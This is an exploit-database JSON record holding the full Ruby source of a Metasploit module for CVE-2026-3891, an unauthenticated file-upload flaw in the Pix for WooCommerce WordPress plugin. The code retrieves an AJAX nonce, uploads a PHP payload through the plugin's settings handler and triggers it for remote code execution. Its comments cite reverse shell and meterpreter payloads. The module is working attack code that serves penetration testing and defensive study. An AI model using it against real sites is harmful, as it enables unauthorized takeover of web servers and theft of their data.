{"exploit":{"id":"MSF-multi--http--wp_plugin_pix_unauth_rce_cve_2026_3891","name":"WordPress Unauthenticated RCE via Pix for WooCommerce plugin","description":"This Metasploit module exploits an Unauthenticated Arbitrary File Upload vulnerability in the Pix for WooCommerce plugin for WordPress. Attackers can leverage the missing capability check and insufficient file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function to upload arbitrary files to the affected server, which may lead to remote code execution under the web server's privileges. The affected versions include all releases up to and including 1.5.0.","cves":["CVE-2026-3891"],"author":"Maksim Rogov, Alexis Lafontaine","published":"2026-03-12","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891.rb","path":"modules/exploits/multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"wp_plugin_pix_unauth_rce_cve_2026_3891.rb","vulnerabilities":[{"id":"CVE-2026-3891","state":"PUBLISHED","title":"Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload","titleSource":"CVE Program","description":"The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3891","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3891"},"updatedAt":"2026-04-08T16:41:11.061Z","retrievedAt":"2026-11-25T16:13:47.159Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--wp_plugin_pix_unauth_rce_cve_2026_3891.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--wp_plugin_pix_unauth_rce_cve_2026_3891","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--wp_plugin_pix_unauth_rce_cve_2026_3891/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--wp_plugin_pix_unauth_rce_cve_2026_3891/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HTTP::Wordpress\n  include Msf::Exploit::FileDropper\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WordPress Unauthenticated RCE via Pix for WooCommerce plugin',\n        'Description' => %q{\n          This Metasploit module exploits an Unauthenticated Arbitrary File Upload vulnerability in the Pix for WooCommerce plugin for WordPress.\n\n          Attackers can leverage the missing capability check and insufficient file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function to upload arbitrary files to the affected server, which may lead to remote code execution under the web server's privileges.\n\n          The affected versions include all releases up to and including 1.5.0.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Maksim Rogov', # Metasploit Module\n          'Alexis Lafontaine' # Vulnerability Discovery\n        ],\n        'References' => [\n          ['CVE', '2026-3891'],\n          ['WPVDB', '36b05ea1-77d4-4561-b735-900e9ada4ccc'],\n          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payment-gateway-pix-for-woocommerce/pix-for-woocommerce-150-unauthenticated-arbitrary-file-upload']\n        ],\n        'Targets' => [\n          [\n            'Pix for WooCommerce <= 1.5.0 / Automatic',\n            {\n              'Platform' => ['php'],\n              'Arch' => [ARCH_PHP]\n              # Tested with php/unix/cmd/reverse_bash\n              # Tested with php/meterpreter/reverse_tcp\n            }\n          ],\n        ],\n        'DisclosureDate' => '2026-03-12',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Path to the WordPress installation', '/']),\n      ]\n    )\n  end\n\n  def check\n    check_plugin_version_from_readme('payment-gateway-pix-for-woocommerce', '1.6.0', '1.0.0')\n  end\n\n  def get_nonce\n    print_status('Retrieving AJAX nonce...')\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),\n      'vars_post' => {\n        'action' => 'lkn_pix_for_woocommerce_generate_nonce',\n        'action_name' => 'lkn_pix_for_woocommerce_c6_settings_nonce'\n      }\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res && res.code == 200\n\n    json_body = res.get_json_document\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Unable to parse JSON response.\") if json_body.nil? || json_body.empty?\n\n    nonce = json_body.dig('data', 'nonce')\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Nonce not found in the JSON response\") if nonce.to_s.empty?\n\n    print_good(\"Successfully retrieved nonce: #{nonce}\")\n\n    nonce\n  end\n\n  def upload_shell\n    nonce = get_nonce\n\n    filename = \"#{Rex::Text.rand_text_alphanumeric(4..16)}.php\"\n    print_status(\"Uploading payload as #{filename}...\")\n\n    post_data = Rex::MIME::Message.new\n    post_data.add_part('lkn_pix_for_woocommerce_c6_save_settings', nil, nil, 'form-data; name=\"action\"')\n    post_data.add_part(nonce, nil, nil, 'form-data; name=\"_ajax_nonce\"')\n    post_data.add_part(payload.encoded, 'text/plain', nil, \"form-data; name=\\\"certificate_crt_path\\\"; filename=\\\"#{filename}\\\"\")\n\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),\n      'method' => 'POST',\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n      'data' => post_data.to_s\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res && res.code == 200\n    register_files_for_cleanup(filename)\n\n    print_good('Payload uploaded successfully')\n    normalize_uri(target_uri.path, 'wp-content', 'plugins', 'payment-gateway-pix-for-woocommerce', 'Includes', 'files', 'certs_c6', filename)\n  end\n\n  def trigger_shell(shell_uri)\n    print_status(\"Triggering at #{shell_uri}...\")\n    send_request_cgi(\n      'uri' => shell_uri\n    )\n  end\n\n  def exploit\n    shell_uri = upload_shell\n    trigger_shell(shell_uri)\n  end\n\nend\n","sha256":"16dd05cddb65de0b0103e6a15d3b0a4974ffa470c71590e2ffcc7956cc059dba","bytes":4554,"fetchedAt":"2026-11-26T08:56:43.116Z","encoding":"utf-8 (display only; download retains original bytes)"}